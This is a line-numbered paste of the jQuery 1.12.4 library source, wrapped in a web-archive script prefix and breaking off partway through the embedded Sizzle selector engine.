· 4 years ago · Mar 20, 2021, 04:44 PM
1var _____WB$wombat$assign$function_____ = function(name) {return (self._wb_wombat && self._wb_wombat.local_init && self._wb_wombat.local_init(name)) || self[name]; };
2if (!self.__WB_pmw) { self.__WB_pmw = function(obj) { this.__WB_source = obj; return this; } }
3{
4 let window = _____WB$wombat$assign$function_____("window");
5 let self = _____WB$wombat$assign$function_____("self");
6 let document = _____WB$wombat$assign$function_____("document");
7 let location = _____WB$wombat$assign$function_____("location");
8 let top = _____WB$wombat$assign$function_____("top");
9 let parent = _____WB$wombat$assign$function_____("parent");
10 let frames = _____WB$wombat$assign$function_____("frames");
11 let opener = _____WB$wombat$assign$function_____("opener");
12
13/*!
14 * jQuery JavaScript Library v1.12.4
15 * http://jquery.com/
16 *
17 * Includes Sizzle.js
18 * http://sizzlejs.com/
19 *
20 * Copyright jQuery Foundation and other contributors
21 * Released under the MIT license
22 * http://jquery.org/license
23 *
24 * Date: 2016-05-20T17:17Z
25 */
26
27(function( global, factory ) {
28
29 if ( typeof module === "object" && typeof module.exports === "object" ) {
30 // For CommonJS and CommonJS-like environments where a proper `window`
31 // is present, execute the factory and get jQuery.
32 // For environments that do not have a `window` with a `document`
33 // (such as Node.js), expose a factory as module.exports.
34 // This accentuates the need for the creation of a real `window`.
35 // e.g. var jQuery = require("jquery")(window);
36 // See ticket #14549 for more info.
37 module.exports = global.document ?
38 factory( global, true ) :
39 function( w ) {
40 if ( !w.document ) {
41 throw new Error( "jQuery requires a window with a document" );
42 }
43 return factory( w );
44 };
45 } else {
46 factory( global );
47 }
48
49// Pass this if window is not defined yet
50}(typeof window !== "undefined" ? window : this, function( window, noGlobal ) {
51
52// Support: Firefox 18+
53// Can't be in strict mode, several libs including ASP.NET trace
54// the stack via arguments.caller.callee and Firefox dies if
55// you try to trace through "use strict" call chains. (#13335)
56//"use strict";
57 var deletedIds = [];
58
59 var document = window.document;
60
61 var slice = deletedIds.slice;
62
63 var concat = deletedIds.concat;
64
65 var push = deletedIds.push;
66
67 var indexOf = deletedIds.indexOf;
68
69 var class2type = {};
70
71 var toString = class2type.toString;
72
73 var hasOwn = class2type.hasOwnProperty;
74
75 var support = {};
76
77
78
79 var
80 version = "1.12.4",
81
82 // Define a local copy of jQuery
83 jQuery = function( selector, context ) {
84
85 // The jQuery object is actually just the init constructor 'enhanced'
86 // Need init if jQuery is called (just allow error to be thrown if not included)
87 return new jQuery.fn.init( selector, context );
88 },
89
90 // Support: Android<4.1, IE<9
91 // Make sure we trim BOM and NBSP
92 rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
93
94 // Matches dashed string for camelizing
95 rmsPrefix = /^-ms-/,
96 rdashAlpha = /-([\da-z])/gi,
97
98 // Used by jQuery.camelCase as callback to replace()
99 fcamelCase = function( all, letter ) {
100 return letter.toUpperCase();
101 };
102
103 jQuery.fn = jQuery.prototype = {
104
105 // The current version of jQuery being used
106 jquery: version,
107
108 constructor: jQuery,
109
110 // Start with an empty selector
111 selector: "",
112
113 // The default length of a jQuery object is 0
114 length: 0,
115
116 toArray: function() {
117 return slice.call( this );
118 },
119
120 // Get the Nth element in the matched element set OR
121 // Get the whole matched element set as a clean array
122 get: function( num ) {
123 return num != null ?
124
125 // Return just the one element from the set
126 ( num < 0 ? this[ num + this.length ] : this[ num ] ) :
127
128 // Return all the elements in a clean array
129 slice.call( this );
130 },
131
132 // Take an array of elements and push it onto the stack
133 // (returning the new matched element set)
134 pushStack: function( elems ) {
135
136 // Build a new jQuery matched element set
137 var ret = jQuery.merge( this.constructor(), elems );
138
139 // Add the old object onto the stack (as a reference)
140 ret.prevObject = this;
141 ret.context = this.context;
142
143 // Return the newly-formed element set
144 return ret;
145 },
146
147 // Execute a callback for every element in the matched set.
148 each: function( callback ) {
149 return jQuery.each( this, callback );
150 },
151
152 map: function( callback ) {
153 return this.pushStack( jQuery.map( this, function( elem, i ) {
154 return callback.call( elem, i, elem );
155 } ) );
156 },
157
158 slice: function() {
159 return this.pushStack( slice.apply( this, arguments ) );
160 },
161
162 first: function() {
163 return this.eq( 0 );
164 },
165
166 last: function() {
167 return this.eq( -1 );
168 },
169
170 eq: function( i ) {
171 var len = this.length,
172 j = +i + ( i < 0 ? len : 0 );
173 return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );
174 },
175
176 end: function() {
177 return this.prevObject || this.constructor();
178 },
179
180 // For internal use only.
181 // Behaves like an Array's method, not like a jQuery method.
182 push: push,
183 sort: deletedIds.sort,
184 splice: deletedIds.splice
185 };
186
187 jQuery.extend = jQuery.fn.extend = function() {
188 var src, copyIsArray, copy, name, options, clone,
189 target = arguments[ 0 ] || {},
190 i = 1,
191 length = arguments.length,
192 deep = false;
193
194 // Handle a deep copy situation
195 if ( typeof target === "boolean" ) {
196 deep = target;
197
198 // skip the boolean and the target
199 target = arguments[ i ] || {};
200 i++;
201 }
202
203 // Handle case when target is a string or something (possible in deep copy)
204 if ( typeof target !== "object" && !jQuery.isFunction( target ) ) {
205 target = {};
206 }
207
208 // extend jQuery itself if only one argument is passed
209 if ( i === length ) {
210 target = this;
211 i--;
212 }
213
214 for ( ; i < length; i++ ) {
215
216 // Only deal with non-null/undefined values
217 if ( ( options = arguments[ i ] ) != null ) {
218
219 // Extend the base object
220 for ( name in options ) {
221 src = target[ name ];
222 copy = options[ name ];
223
224 // Prevent never-ending loop
225 if ( target === copy ) {
226 continue;
227 }
228
229 // Recurse if we're merging plain objects or arrays
230 if ( deep && copy && ( jQuery.isPlainObject( copy ) ||
231 ( copyIsArray = jQuery.isArray( copy ) ) ) ) {
232
233 if ( copyIsArray ) {
234 copyIsArray = false;
235 clone = src && jQuery.isArray( src ) ? src : [];
236
237 } else {
238 clone = src && jQuery.isPlainObject( src ) ? src : {};
239 }
240
241 // Never move original objects, clone them
242 target[ name ] = jQuery.extend( deep, clone, copy );
243
244 // Don't bring in undefined values
245 } else if ( copy !== undefined ) {
246 target[ name ] = copy;
247 }
248 }
249 }
250 }
251
252 // Return the modified object
253 return target;
254 };
255
256 jQuery.extend( {
257
258 // Unique for each copy of jQuery on the page
259 expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),
260
261 // Assume jQuery is ready without the ready module
262 isReady: true,
263
264 error: function( msg ) {
265 throw new Error( msg );
266 },
267
268 noop: function() {},
269
270 // See test/unit/core.js for details concerning isFunction.
271 // Since version 1.3, DOM methods and functions like alert
272 // aren't supported. They return false on IE (#2968).
273 isFunction: function( obj ) {
274 return jQuery.type( obj ) === "function";
275 },
276
277 isArray: Array.isArray || function( obj ) {
278 return jQuery.type( obj ) === "array";
279 },
280
281 isWindow: function( obj ) {
282 /* jshint eqeqeq: false */
283 return obj != null && obj == obj.window;
284 },
285
286 isNumeric: function( obj ) {
287
288 // parseFloat NaNs numeric-cast false positives (null|true|false|"")
289 // ...but misinterprets leading-number strings, particularly hex literals ("0x...")
290 // subtraction forces infinities to NaN
291 // adding 1 corrects loss of precision from parseFloat (#15100)
292 var realStringObj = obj && obj.toString();
293 return !jQuery.isArray( obj ) && ( realStringObj - parseFloat( realStringObj ) + 1 ) >= 0;
294 },
295
296 isEmptyObject: function( obj ) {
297 var name;
298 for ( name in obj ) {
299 return false;
300 }
301 return true;
302 },
303
304 isPlainObject: function( obj ) {
305 var key;
306
307 // Must be an Object.
308 // Because of IE, we also have to check the presence of the constructor property.
309 // Make sure that DOM nodes and window objects don't pass through, as well
310 if ( !obj || jQuery.type( obj ) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) {
311 return false;
312 }
313
314 try {
315
316 // Not own constructor property must be Object
317 if ( obj.constructor &&
318 !hasOwn.call( obj, "constructor" ) &&
319 !hasOwn.call( obj.constructor.prototype, "isPrototypeOf" ) ) {
320 return false;
321 }
322 } catch ( e ) {
323
324 // IE8,9 Will throw exceptions on certain host objects #9897
325 return false;
326 }
327
328 // Support: IE<9
329 // Handle iteration over inherited properties before own properties.
330 if ( !support.ownFirst ) {
331 for ( key in obj ) {
332 return hasOwn.call( obj, key );
333 }
334 }
335
336 // Own properties are enumerated firstly, so to speed up,
337 // if last one is own, then all properties are own.
338 for ( key in obj ) {}
339
340 return key === undefined || hasOwn.call( obj, key );
341 },
342
343 type: function( obj ) {
344 if ( obj == null ) {
345 return obj + "";
346 }
347 return typeof obj === "object" || typeof obj === "function" ?
348 class2type[ toString.call( obj ) ] || "object" :
349 typeof obj;
350 },
351
352 // Workarounds based on findings by Jim Driscoll
353 // http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context
354 globalEval: function( data ) {
355 if ( data && jQuery.trim( data ) ) {
356
357 // We use execScript on Internet Explorer
358 // We use an anonymous function so that context is window
359 // rather than jQuery in Firefox
360 ( window.execScript || function( data ) {
361 window[ "eval" ].call( window, data ); // jscs:ignore requireDotNotation
362 } )( data );
363 }
364 },
365
366 // Convert dashed to camelCase; used by the css and data modules
367 // Microsoft forgot to hump their vendor prefix (#9572)
368 camelCase: function( string ) {
369 return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
370 },
371
372 nodeName: function( elem, name ) {
373 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
374 },
375
376 each: function( obj, callback ) {
377 var length, i = 0;
378
379 if ( isArrayLike( obj ) ) {
380 length = obj.length;
381 for ( ; i < length; i++ ) {
382 if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
383 break;
384 }
385 }
386 } else {
387 for ( i in obj ) {
388 if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
389 break;
390 }
391 }
392 }
393
394 return obj;
395 },
396
397 // Support: Android<4.1, IE<9
398 trim: function( text ) {
399 return text == null ?
400 "" :
401 ( text + "" ).replace( rtrim, "" );
402 },
403
404 // results is for internal usage only
405 makeArray: function( arr, results ) {
406 var ret = results || [];
407
408 if ( arr != null ) {
409 if ( isArrayLike( Object( arr ) ) ) {
410 jQuery.merge( ret,
411 typeof arr === "string" ?
412 [ arr ] : arr
413 );
414 } else {
415 push.call( ret, arr );
416 }
417 }
418
419 return ret;
420 },
421
422 inArray: function( elem, arr, i ) {
423 var len;
424
425 if ( arr ) {
426 if ( indexOf ) {
427 return indexOf.call( arr, elem, i );
428 }
429
430 len = arr.length;
431 i = i ? i < 0 ? Math.max( 0, len + i ) : i : 0;
432
433 for ( ; i < len; i++ ) {
434
435 // Skip accessing in sparse arrays
436 if ( i in arr && arr[ i ] === elem ) {
437 return i;
438 }
439 }
440 }
441
442 return -1;
443 },
444
445 merge: function( first, second ) {
446 var len = +second.length,
447 j = 0,
448 i = first.length;
449
450 while ( j < len ) {
451 first[ i++ ] = second[ j++ ];
452 }
453
454 // Support: IE<9
455 // Workaround casting of .length to NaN on otherwise arraylike objects (e.g., NodeLists)
456 if ( len !== len ) {
457 while ( second[ j ] !== undefined ) {
458 first[ i++ ] = second[ j++ ];
459 }
460 }
461
462 first.length = i;
463
464 return first;
465 },
466
467 grep: function( elems, callback, invert ) {
468 var callbackInverse,
469 matches = [],
470 i = 0,
471 length = elems.length,
472 callbackExpect = !invert;
473
474 // Go through the array, only saving the items
475 // that pass the validator function
476 for ( ; i < length; i++ ) {
477 callbackInverse = !callback( elems[ i ], i );
478 if ( callbackInverse !== callbackExpect ) {
479 matches.push( elems[ i ] );
480 }
481 }
482
483 return matches;
484 },
485
486 // arg is for internal usage only
487 map: function( elems, callback, arg ) {
488 var length, value,
489 i = 0,
490 ret = [];
491
492 // Go through the array, translating each of the items to their new values
493 if ( isArrayLike( elems ) ) {
494 length = elems.length;
495 for ( ; i < length; i++ ) {
496 value = callback( elems[ i ], i, arg );
497
498 if ( value != null ) {
499 ret.push( value );
500 }
501 }
502
503 // Go through every key on the object,
504 } else {
505 for ( i in elems ) {
506 value = callback( elems[ i ], i, arg );
507
508 if ( value != null ) {
509 ret.push( value );
510 }
511 }
512 }
513
514 // Flatten any nested arrays
515 return concat.apply( [], ret );
516 },
517
518 // A global GUID counter for objects
519 guid: 1,
520
521 // Bind a function to a context, optionally partially applying any
522 // arguments.
523 proxy: function( fn, context ) {
524 var args, proxy, tmp;
525
526 if ( typeof context === "string" ) {
527 tmp = fn[ context ];
528 context = fn;
529 fn = tmp;
530 }
531
532 // Quick check to determine if target is callable, in the spec
533 // this throws a TypeError, but we will just return undefined.
534 if ( !jQuery.isFunction( fn ) ) {
535 return undefined;
536 }
537
538 // Simulated bind
539 args = slice.call( arguments, 2 );
540 proxy = function() {
541 return fn.apply( context || this, args.concat( slice.call( arguments ) ) );
542 };
543
544 // Set the guid of unique handler to the same of original handler, so it can be removed
545 proxy.guid = fn.guid = fn.guid || jQuery.guid++;
546
547 return proxy;
548 },
549
550 now: function() {
551 return +( new Date() );
552 },
553
554 // jQuery.support is not used in Core but other projects attach their
555 // properties to it so it needs to exist.
556 support: support
557 } );
558
559// JSHint would error on this code due to the Symbol not being defined in ES5.
560// Defining this global in .jshintrc would create a danger of using the global
561// unguarded in another place, it seems safer to just disable JSHint for these
562// three lines.
563 /* jshint ignore: start */
564 if ( typeof Symbol === "function" ) {
565 jQuery.fn[ Symbol.iterator ] = deletedIds[ Symbol.iterator ];
566 }
567 /* jshint ignore: end */
568
569// Populate the class2type map
570 jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ),
571 function( i, name ) {
572 class2type[ "[object " + name + "]" ] = name.toLowerCase();
573 } );
574
575 function isArrayLike( obj ) {
576
577 // Support: iOS 8.2 (not reproducible in simulator)
578 // `in` check used to prevent JIT error (gh-2145)
579 // hasOwn isn't used here due to false negatives
580 // regarding Nodelist length in IE
581 var length = !!obj && "length" in obj && obj.length,
582 type = jQuery.type( obj );
583
584 if ( type === "function" || jQuery.isWindow( obj ) ) {
585 return false;
586 }
587
588 return type === "array" || length === 0 ||
589 typeof length === "number" && length > 0 && ( length - 1 ) in obj;
590 }
591 var Sizzle =
592 /*!
593 * Sizzle CSS Selector Engine v2.2.1
594 * http://sizzlejs.com/
595 *
596 * Copyright jQuery Foundation and other contributors
597 * Released under the MIT license
598 * http://jquery.org/license
599 *
600 * Date: 2015-10-17
601 */
602 (function( window ) {
603
604 var i,
605 support,
606 Expr,
607 getText,
608 isXML,
609 tokenize,
610 compile,
611 select,
612 outermostContext,
613 sortInput,
614 hasDuplicate,
615
616 // Local document vars
617 setDocument,
618 document,
619 docElem,
620 documentIsHTML,
621 rbuggyQSA,
622 rbuggyMatches,
623 matches,
624 contains,
625
626 // Instance-specific data
627 expando = "sizzle" + 1 * new Date(),
628 preferredDoc = window.document,
629 dirruns = 0,
630 done = 0,
631 classCache = createCache(),
632 tokenCache = createCache(),
633 compilerCache = createCache(),
634 sortOrder = function( a, b ) {
635 if ( a === b ) {
636 hasDuplicate = true;
637 }
638 return 0;
639 },
640
641 // General-purpose constants
642 MAX_NEGATIVE = 1 << 31,
643
644 // Instance methods
645 hasOwn = ({}).hasOwnProperty,
646 arr = [],
647 pop = arr.pop,
648 push_native = arr.push,
649 push = arr.push,
650 slice = arr.slice,
651 // Use a stripped-down indexOf as it's faster than native
652 // http://jsperf.com/thor-indexof-vs-for/5
653 indexOf = function( list, elem ) {
654 var i = 0,
655 len = list.length;
656 for ( ; i < len; i++ ) {
657 if ( list[i] === elem ) {
658 return i;
659 }
660 }
661 return -1;
662 },
663
664 booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
665
666 // Regular expressions
667
668 // http://www.w3.org/TR/css3-selectors/#whitespace
669 whitespace = "[\\x20\\t\\r\\n\\f]",
670
671 // http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
672 identifier = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
673
674 // Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors
675 attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace +
676 // Operator (capture 2)
677 "*([*^$|!~]?=)" + whitespace +
678 // "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]"
679 "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace +
680 "*\\]",
681
682 pseudos = ":(" + identifier + ")(?:\\((" +
683 // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:
684 // 1. quoted (capture 3; capture 4 or capture 5)
685 "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" +
686 // 2. simple (capture 6)
687 "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" +
688 // 3. anything else (capture 2)
689 ".*" +
690 ")\\)|)",
691
692 // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
693 rwhitespace = new RegExp( whitespace + "+", "g" ),
694 rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
695
696 rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
697 rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ),
698
699 rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ),
700
701 rpseudo = new RegExp( pseudos ),
702 ridentifier = new RegExp( "^" + identifier + "$" ),
703
704 matchExpr = {
705 "ID": new RegExp( "^#(" + identifier + ")" ),
706 "CLASS": new RegExp( "^\\.(" + identifier + ")" ),
707 "TAG": new RegExp( "^(" + identifier + "|[*])" ),
708 "ATTR": new RegExp( "^" + attributes ),
709 "PSEUDO": new RegExp( "^" + pseudos ),
710 "CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace +
711 "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
712 "*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
713 "bool": new RegExp( "^(?:" + booleans + ")$", "i" ),
714 // For use in libraries implementing .is()
715 // We use this for POS matching in `select`
716 "needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" +
717 whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
718 },
719
720 rinputs = /^(?:input|select|textarea|button)$/i,
721 rheader = /^h\d$/i,
722
723 rnative = /^[^{]+\{\s*\[native \w/,
724
725 // Easily-parseable/retrievable ID or TAG or CLASS selectors
726 rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
727
728 rsibling = /[+~]/,
729 rescape = /'|\\/g,
730
731 // CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
732 runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ),
733 funescape = function( _, escaped, escapedWhitespace ) {
734 var high = "0x" + escaped - 0x10000;
735 // NaN means non-codepoint
736 // Support: Firefox<24
737 // Workaround erroneous numeric interpretation of +"0x"
738 return high !== high || escapedWhitespace ?
739 escaped :
740 high < 0 ?
741 // BMP codepoint
742 String.fromCharCode( high + 0x10000 ) :
743 // Supplemental Plane codepoint (surrogate pair)
744 String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
745 },
746
747 // Used for iframes
748 // See setDocument()
749 // Removing the function wrapper causes a "Permission Denied"
750 // error in IE
751 unloadHandler = function() {
752 setDocument();
753 };
754
755// Optimize for push.apply( _, NodeList )
756 try {
757 push.apply(
758 (arr = slice.call( preferredDoc.childNodes )),
759 preferredDoc.childNodes
760 );
761 // Support: Android<4.0
762 // Detect silently failing push.apply
763 arr[ preferredDoc.childNodes.length ].nodeType;
764 } catch ( e ) {
765 push = { apply: arr.length ?
766
767 // Leverage slice if possible
768 function( target, els ) {
769 push_native.apply( target, slice.call(els) );
770 } :
771
772 // Support: IE<9
773 // Otherwise append directly
774 function( target, els ) {
775 var j = target.length,
776 i = 0;
777 // Can't trust NodeList.length
778 while ( (target[j++] = els[i++]) ) {}
779 target.length = j - 1;
780 }
781 };
782 }
783
784 function Sizzle( selector, context, results, seed ) {
785 var m, i, elem, nid, nidselect, match, groups, newSelector,
786 newContext = context && context.ownerDocument,
787
788 // nodeType defaults to 9, since context defaults to document
789 nodeType = context ? context.nodeType : 9;
790
791 results = results || [];
792
793 // Return early from calls with invalid selector or context
794 if ( typeof selector !== "string" || !selector ||
795 nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {
796
797 return results;
798 }
799
800 // Try to shortcut find operations (as opposed to filters) in HTML documents
801 if ( !seed ) {
802
803 if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {
804 setDocument( context );
805 }
806 context = context || document;
807
808 if ( documentIsHTML ) {
809
810 // If the selector is sufficiently simple, try using a "get*By*" DOM method
811 // (excepting DocumentFragment context, where the methods don't exist)
812 if ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) {
813
814 // ID selector
815 if ( (m = match[1]) ) {
816
817 // Document context
818 if ( nodeType === 9 ) {
819 if ( (elem = context.getElementById( m )) ) {
820
821 // Support: IE, Opera, Webkit
822 // TODO: identify versions
823 // getElementById can match elements by name instead of ID
824 if ( elem.id === m ) {
825 results.push( elem );
826 return results;
827 }
828 } else {
829 return results;
830 }
831
832 // Element context
833 } else {
834
835 // Support: IE, Opera, Webkit
836 // TODO: identify versions
837 // getElementById can match elements by name instead of ID
838 if ( newContext && (elem = newContext.getElementById( m )) &&
839 contains( context, elem ) &&
840 elem.id === m ) {
841
842 results.push( elem );
843 return results;
844 }
845 }
846
847 // Type selector
848 } else if ( match[2] ) {
849 push.apply( results, context.getElementsByTagName( selector ) );
850 return results;
851
852 // Class selector
853 } else if ( (m = match[3]) && support.getElementsByClassName &&
854 context.getElementsByClassName ) {
855
856 push.apply( results, context.getElementsByClassName( m ) );
857 return results;
858 }
859 }
860
861 // Take advantage of querySelectorAll
862 if ( support.qsa &&
863 !compilerCache[ selector + " " ] &&
864 (!rbuggyQSA || !rbuggyQSA.test( selector )) ) {
865
866 if ( nodeType !== 1 ) {
867 newContext = context;
868 newSelector = selector;
869
870 // qSA looks outside Element context, which is not what we want
871 // Thanks to Andrew Dupont for this workaround technique
872 // Support: IE <=8
873 // Exclude object elements
874 } else if ( context.nodeName.toLowerCase() !== "object" ) {
875
876 // Capture the context ID, setting it first if necessary
877 if ( (nid = context.getAttribute( "id" )) ) {
878 nid = nid.replace( rescape, "\\$&" );
879 } else {
880 context.setAttribute( "id", (nid = expando) );
881 }
882
883 // Prefix every selector in the list
884 groups = tokenize( selector );
885 i = groups.length;
886 nidselect = ridentifier.test( nid ) ? "#" + nid : "[id='" + nid + "']";
887 while ( i-- ) {
888 groups[i] = nidselect + " " + toSelector( groups[i] );
889 }
890 newSelector = groups.join( "," );
891
892 // Expand context for sibling selectors
893 newContext = rsibling.test( selector ) && testContext( context.parentNode ) ||
894 context;
895 }
896
897 if ( newSelector ) {
898 try {
899 push.apply( results,
900 newContext.querySelectorAll( newSelector )
901 );
902 return results;
903 } catch ( qsaError ) {
904 } finally {
905 if ( nid === expando ) {
906 context.removeAttribute( "id" );
907 }
908 }
909 }
910 }
911 }
912 }
913
914 // All others
915 return select( selector.replace( rtrim, "$1" ), context, results, seed );
916 }
917
918 /**
919 * Create key-value caches of limited size
920 * @returns {function(string, object)} Returns the Object data after storing it on itself with
921 * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
922 * deleting the oldest entry
923 */
924 function createCache() {
925 var keys = [];
926
927 function cache( key, value ) {
928 // Use (key + " ") to avoid collision with native prototype properties (see Issue #157)
929 if ( keys.push( key + " " ) > Expr.cacheLength ) {
930 // Only keep the most recent entries
931 delete cache[ keys.shift() ];
932 }
933 return (cache[ key + " " ] = value);
934 }
935 return cache;
936 }
937
938 /**
939 * Mark a function for special use by Sizzle
940 * @param {Function} fn The function to mark
941 */
942 function markFunction( fn ) {
943 fn[ expando ] = true;
944 return fn;
945 }
946
947 /**
948 * Support testing using an element
949 * @param {Function} fn Passed the created div and expects a boolean result
950 */
951 function assert( fn ) {
952 var div = document.createElement("div");
953
954 try {
955 return !!fn( div );
956 } catch (e) {
957 return false;
958 } finally {
959 // Remove from its parent by default
960 if ( div.parentNode ) {
961 div.parentNode.removeChild( div );
962 }
963 // release memory in IE
964 div = null;
965 }
966 }
967
968 /**
969 * Adds the same handler for all of the specified attrs
970 * @param {String} attrs Pipe-separated list of attributes
971 * @param {Function} handler The method that will be applied
972 */
973 function addHandle( attrs, handler ) {
974 var arr = attrs.split("|"),
975 i = arr.length;
976
977 while ( i-- ) {
978 Expr.attrHandle[ arr[i] ] = handler;
979 }
980 }
981
982 /**
983 * Checks document order of two siblings
984 * @param {Element} a
985 * @param {Element} b
986 * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b
987 */
988 function siblingCheck( a, b ) {
989 var cur = b && a,
990 diff = cur && a.nodeType === 1 && b.nodeType === 1 &&
991 ( ~b.sourceIndex || MAX_NEGATIVE ) -
992 ( ~a.sourceIndex || MAX_NEGATIVE );
993
994 // Use IE sourceIndex if available on both nodes
995 if ( diff ) {
996 return diff;
997 }
998
999 // Check if b follows a
1000 if ( cur ) {
1001 while ( (cur = cur.nextSibling) ) {
1002 if ( cur === b ) {
1003 return -1;
1004 }
1005 }
1006 }
1007
1008 return a ? 1 : -1;
1009 }
1010
1011 /**
1012 * Returns a function to use in pseudos for input types
1013 * @param {String} type
1014 */
1015 function createInputPseudo( type ) {
1016 return function( elem ) {
1017 var name = elem.nodeName.toLowerCase();
1018 return name === "input" && elem.type === type;
1019 };
1020 }
1021
1022 /**
1023 * Returns a function to use in pseudos for buttons
1024 * @param {String} type
1025 */
1026 function createButtonPseudo( type ) {
1027 return function( elem ) {
1028 var name = elem.nodeName.toLowerCase();
1029 return (name === "input" || name === "button") && elem.type === type;
1030 };
1031 }
1032
1033 /**
1034 * Returns a function to use in pseudos for positionals
1035 * @param {Function} fn
1036 */
1037 function createPositionalPseudo( fn ) {
1038 return markFunction(function( argument ) {
1039 argument = +argument;
1040 return markFunction(function( seed, matches ) {
1041 var j,
1042 matchIndexes = fn( [], seed.length, argument ),
1043 i = matchIndexes.length;
1044
1045 // Match elements found at the specified indexes
1046 while ( i-- ) {
1047 if ( seed[ (j = matchIndexes[i]) ] ) {
1048 seed[j] = !(matches[j] = seed[j]);
1049 }
1050 }
1051 });
1052 });
1053 }
1054
1055 /**
1056 * Checks a node for validity as a Sizzle context
1057 * @param {Element|Object=} context
1058 * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
1059 */
1060 function testContext( context ) {
1061 return context && typeof context.getElementsByTagName !== "undefined" && context;
1062 }
1063
1064// Expose support vars for convenience
1065 support = Sizzle.support = {};
1066
1067 /**
1068 * Detects XML nodes
1069 * @param {Element|Object} elem An element or a document
1070 * @returns {Boolean} True iff elem is a non-HTML XML node
1071 */
1072 isXML = Sizzle.isXML = function( elem ) {
1073 // documentElement is verified for cases where it doesn't yet exist
1074 // (such as loading iframes in IE - #4833)
1075 var documentElement = elem && (elem.ownerDocument || elem).documentElement;
1076 return documentElement ? documentElement.nodeName !== "HTML" : false;
1077 };
1078
1079 /**
1080 * Sets document-related variables once based on the current document
1081 * @param {Element|Object} [doc] An element or document object to use to set the document
1082 * @returns {Object} Returns the current document
1083 */
1084 setDocument = Sizzle.setDocument = function( node ) {
1085 var hasCompare, parent,
1086 doc = node ? node.ownerDocument || node : preferredDoc;
1087
1088 // Return early if doc is invalid or already selected
1089 if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {
1090 return document;
1091 }
1092
1093 // Update global variables
1094 document = doc;
1095 docElem = document.documentElement;
1096 documentIsHTML = !isXML( document );
1097
1098 // Support: IE 9-11, Edge
1099 // Accessing iframe documents after unload throws "permission denied" errors (jQuery #13936)
1100 if ( (parent = document.defaultView) && parent.top !== parent ) {
1101 // Support: IE 11
1102 if ( parent.addEventListener ) {
1103 parent.addEventListener( "unload", unloadHandler, false );
1104
1105 // Support: IE 9 - 10 only
1106 } else if ( parent.attachEvent ) {
1107 parent.attachEvent( "onunload", unloadHandler );
1108 }
1109 }
1110
1111 /* Attributes
1112 ---------------------------------------------------------------------- */
1113
1114 // Support: IE<8
1115 // Verify that getAttribute really returns attributes and not properties
1116 // (excepting IE8 booleans)
1117 support.attributes = assert(function( div ) {
1118 div.className = "i";
1119 return !div.getAttribute("className");
1120 });
1121
1122 /* getElement(s)By*
1123 ---------------------------------------------------------------------- */
1124
1125 // Check if getElementsByTagName("*") returns only elements
1126 support.getElementsByTagName = assert(function( div ) {
1127 div.appendChild( document.createComment("") );
1128 return !div.getElementsByTagName("*").length;
1129 });
1130
1131 // Support: IE<9
1132 support.getElementsByClassName = rnative.test( document.getElementsByClassName );
1133
1134 // Support: IE<10
1135 // Check if getElementById returns elements by name
1136 // The broken getElementById methods don't pick up programatically-set names,
1137 // so use a roundabout getElementsByName test
1138 support.getById = assert(function( div ) {
1139 docElem.appendChild( div ).id = expando;
1140 return !document.getElementsByName || !document.getElementsByName( expando ).length;
1141 });
1142
1143 // ID find and filter
1144 if ( support.getById ) {
1145 Expr.find["ID"] = function( id, context ) {
1146 if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
1147 var m = context.getElementById( id );
1148 return m ? [ m ] : [];
1149 }
1150 };
1151 Expr.filter["ID"] = function( id ) {
1152 var attrId = id.replace( runescape, funescape );
1153 return function( elem ) {
1154 return elem.getAttribute("id") === attrId;
1155 };
1156 };
1157 } else {
1158 // Support: IE6/7
1159 // getElementById is not reliable as a find shortcut
1160 delete Expr.find["ID"];
1161
